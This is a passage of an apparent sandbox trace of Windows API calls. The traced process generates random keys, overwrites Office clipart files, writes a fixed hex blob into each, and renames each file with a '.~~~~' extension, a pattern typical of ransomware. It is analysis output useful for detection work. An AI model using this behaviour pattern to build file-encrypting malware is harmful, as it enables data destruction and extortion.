	[0113.455] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0113.455] GetLastError () returned 0x0
	[0113.455] GetLastError () returned 0x0
	[0113.455] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0113.455] GetLastError () returned 0x0
	[0113.456] GetLastError () returned 0x0
	[0113.458] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffa185, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.458] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x5e7b, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x5e7b, lpOverlapped=0x0) returned 1
	[0113.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0113.459] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.459] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.459] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.459] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.459] CloseHandle (hObject=0x13c) returned 1
	[0113.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0113.459] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif.~~~~")) returned 1
	[0113.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0113.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0113.460] GetLastError () returned 0x0
	[0113.461] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942318) returned 1
	[0113.462] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0113.462] CryptReleaseContext (hProv=0x2942318, dwFlags=0x0) returned 1
	[0113.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0113.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0113.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0113.462] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23345235529) returned 1
	[0113.462] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xad3a4830, dwHighDateTime=0x1d60e1e)) 
	[0113.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0113.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0113.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0113.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839108
	[0113.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839108 | out: hHeap=0x300000) returned 1
	[0113.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0113.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2835840
	[0113.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0113.463] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0113.463] GetLastError () returned 0x0
	[0113.463] GetLastError () returned 0x0
	[0113.463] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0113.463] GetLastError () returned 0x0
	[0113.463] GetLastError () returned 0x0
	[0113.558] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff827c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.558] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x7d84, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x7d84, lpOverlapped=0x0) returned 1
	[0113.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0113.560] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.560] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.561] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.561] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.561] CloseHandle (hObject=0x13c) returned 1
	[0113.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.562] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp.~~~~")) returned 1
	[0113.564] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.564] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0113.564] GetLastError () returned 0x0
	[0113.566] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0113.567] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.567] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.567] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0113.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0113.568] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23355769362) returned 1
	[0113.568] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xad4af1d0, dwHighDateTime=0x1d60e1e)) 
	[0113.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0113.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0113.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0113.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839338
	[0113.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839338 | out: hHeap=0x300000) returned 1
	[0113.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0113.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28358d8
	[0113.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.568] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0113.568] GetLastError () returned 0x0
	[0113.569] GetLastError () returned 0x0
	[0113.569] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0113.569] GetLastError () returned 0x0
	[0113.569] GetLastError () returned 0x0
	[0113.573] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.574] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0113.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0113.576] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.576] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.576] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.576] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.576] CloseHandle (hObject=0x13c) returned 1
	[0113.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.577] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp.~~~~")) returned 1
	[0113.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0113.578] GetLastError () returned 0x0
	[0113.578] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0113.580] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.580] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.580] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0113.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0113.580] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23357056694) returned 1
	[0113.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xad4d5330, dwHighDateTime=0x1d60e1e)) 
	[0113.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0113.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0113.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0113.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839370
	[0113.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839370 | out: hHeap=0x300000) returned 1
	[0113.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0113.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2835ec8
	[0113.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.581] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0113.582] GetLastError () returned 0x0
	[0113.582] GetLastError () returned 0x0
	[0113.582] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0113.582] GetLastError () returned 0x0
	[0113.582] GetLastError () returned 0x0
	[0113.588] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.588] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0113.589] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0113.589] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.589] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.589] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.589] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.590] CloseHandle (hObject=0x13c) returned 1
	[0113.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.590] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp.~~~~")) returned 1
	[0113.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0113.591] GetLastError () returned 0x0
	[0113.593] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0113.594] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.594] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.594] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0113.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0113.595] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23358474107) returned 1
	[0113.595] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xad4fb490, dwHighDateTime=0x1d60e1e)) 
	[0113.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0113.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0113.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0113.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28393a8
	[0113.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28393a8 | out: hHeap=0x300000) returned 1
	[0113.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0113.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2835f60
	[0113.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0113.595] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0113.596] GetLastError () returned 0x0
	[0113.596] GetLastError () returned 0x0
	[0113.596] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0113.596] GetLastError () returned 0x0
	[0113.596] GetLastError () returned 0x0
	[0113.670] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.670] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0113.672] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0113.672] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.672] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.959] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.959] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.959] CloseHandle (hObject=0x13c) returned 1
	[0114.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0114.029] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp.~~~~")) returned 1
	[0114.100] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.106] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0114.116] GetLastError () returned 0x0
	[0114.116] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942318) returned 1
	[0114.118] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.118] CryptReleaseContext (hProv=0x2942318, dwFlags=0x0) returned 1
	[0114.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0114.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0114.118] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23410806396) returned 1
	[0114.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xad9e41f0, dwHighDateTime=0x1d60e1e)) 
	[0114.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0114.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0114.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0114.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839958
	[0114.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839958 | out: hHeap=0x300000) returned 1
	[0114.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
